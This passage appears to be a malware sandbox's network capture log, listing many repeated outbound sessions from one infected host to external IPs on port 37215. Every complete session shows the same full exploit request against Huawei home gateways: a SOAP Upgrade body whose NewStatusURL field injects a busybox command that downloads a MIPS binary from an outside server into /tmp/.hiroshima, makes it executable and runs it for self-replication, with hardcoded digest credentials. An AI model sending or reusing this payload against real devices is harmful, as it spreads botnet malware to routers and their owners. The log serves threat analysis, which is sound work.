6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.14	33956	156.93.208.135	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:21.241036892 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.14	56198	197.245.209.21	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:21.241050959 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.14	58346	197.46.156.83	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:21.241086960 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.14	41124	156.168.76.1	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:21.241101027 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.14	45732	156.68.58.180	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:21.241137028 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.14	46544	156.100.242.147	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:21.241158962 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.14	56330	197.187.149.255	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:21.241179943 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.14	36734	156.1.105.179	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:21.241218090 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.14	54744	156.245.207.136	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:21.241220951 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.14	49484	197.14.129.54	37215

Timestamp	Bytes transferred	Direction	Data
Oct 14, 2024 17:30:21.241252899 CEST	914	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; 